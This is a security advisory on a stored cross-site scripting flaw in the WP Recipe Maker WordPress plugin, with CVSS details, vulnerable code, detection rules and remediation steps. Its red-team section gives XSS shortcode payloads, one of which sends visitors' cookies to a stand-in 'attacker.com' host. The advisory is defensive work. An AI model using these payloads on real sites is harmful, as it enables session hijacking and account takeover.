CVE-2024-0383

Executive Summary

CVE-2024-0383 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin (versions up to and including 9.1.0). The flaw resides in insufficient input sanitization on the group_tag attribute within the [wprm-recipe-instructions] and [wprm-recipe-ingredients] shortcodes. Authenticated attackers with contributor-level permissions or higher can inject arbitrary JavaScript, which executes when any user (including administrators) views the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not affect the underlying web server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who install the plugin from the repository or via automatic updates are at risk. No supply chain compromise of the plugin’s source code has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access but can lead to full account takeover if an administrator views the injected page.

Deep Dive & Mechanics

The WP Recipe Maker plugin uses shortcodes to render recipe instructions and ingredients. The group_tag attribute allows grouping of items. The vulnerability arises because the plugin does not properly sanitize or escape the group_tag value before outputting it in the HTML. An attacker can craft a shortcode like:

[wprm-recipe-ingredients group_tag="<script>alert('XSS')</script>"]

When the shortcode is processed, the malicious script is stored in the WordPress database and rendered on the page without sanitization. Any user visiting the page triggers the script in their browser.

The vulnerability is specific to the WordPress plugin ecosystem and does not involve Apache or Nginx misconfigurations.

Vulnerable vs. Patched Code

Vulnerable Code (version 9.1.0 and earlier): In the plugin’s shortcode handler, the group_tag attribute is directly output without escaping:

$group_tag = $atts['group_tag'];
echo '<div class="wprm-recipe-group">' . $group_tag . '</div>';

Patched Code (hypothetical fix): The patched version would escape the output using WordPress’s esc_html() function:

$group_tag = $atts['group_tag'];
echo '<div class="wprm-recipe-group">' . esc_html( $group_tag ) . '</div>';

No official patch has been released as of this report.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Authenticated WordPress account with contributor-level or higher permissions.

2. Steps:

   • Create a new post or page.
   • Insert a shortcode with a malicious group_tag:

     [wprm-recipe-ingredients group_tag="<img src=x onerror=alert('XSS')>"]
     

   • Publish the post.
   • When an administrator or any user views the post, the XSS payload executes.

3. Advanced Payload: Steal cookies:

   [wprm-recipe-ingredients group_tag="<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"]
   

Blue Team (Detection & Hardening)

• Web Application Firewall (WAF): Block requests containing group_tag with script tags.
• Input Validation: Implement server-side validation to reject HTML tags in group_tag.
• Content Security Policy (CSP): Enforce a strict CSP that blocks inline scripts.
• User Education: Restrict contributor-level permissions and monitor for suspicious shortcode usage.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing group_tag=<script> or group_tag=<img in the POST body.
• File: WordPress database entries in wp_posts with [wprm-recipe-ingredients group_tag= or [wprm-recipe-instructions group_tag= containing HTML/JavaScript.
• Log: WordPress audit logs showing creation of posts with unusual shortcode attributes by low-privilege users.

Detection Engineering

YARA Rule

rule CVE_2024_0383_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Recipe Maker shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0383"
    strings:
        $shortcode1 = "[wprm-recipe-ingredients" ascii wide nocase
        $shortcode2 = "[wprm-recipe-instructions" ascii wide nocase
        $xss_payload = /group_tag\s*=\s*["'][^"']*<[^>]*script[^>]*>["']/ ascii wide nocase
    condition:
        ($shortcode1 or $shortcode2) and $xss_payload
}

Sigma Rule

title: CVE-2024-0383 WP Recipe Maker Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing malicious group_tag attribute in WP Recipe Maker shortcodes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.request.body|contains: 
            - 'group_tag=<script'
            - 'group_tag=<img'
            - 'group_tag=<svg'
    condition: selection
falsepositives:
    - Legitimate use of HTML in group_tag (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0383 WP Recipe Maker Stored XSS"; flow:to_server; content:"group_tag="; http_client_body; pcre:"/group_tag\s*=\s*["'][^"']*<[^>]*script[^>]*>["']/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WP Recipe Maker plugin until a patch is released.
2. Short-term: Restrict contributor-level permissions and audit existing posts for malicious shortcodes.
3. Long-term: Apply a virtual patch via WAF to block group_tag values containing HTML tags.
4. Monitor: Review WordPress logs for unusual shortcode usage and implement CSP headers.

Valters IT
Securing Digital Frontiers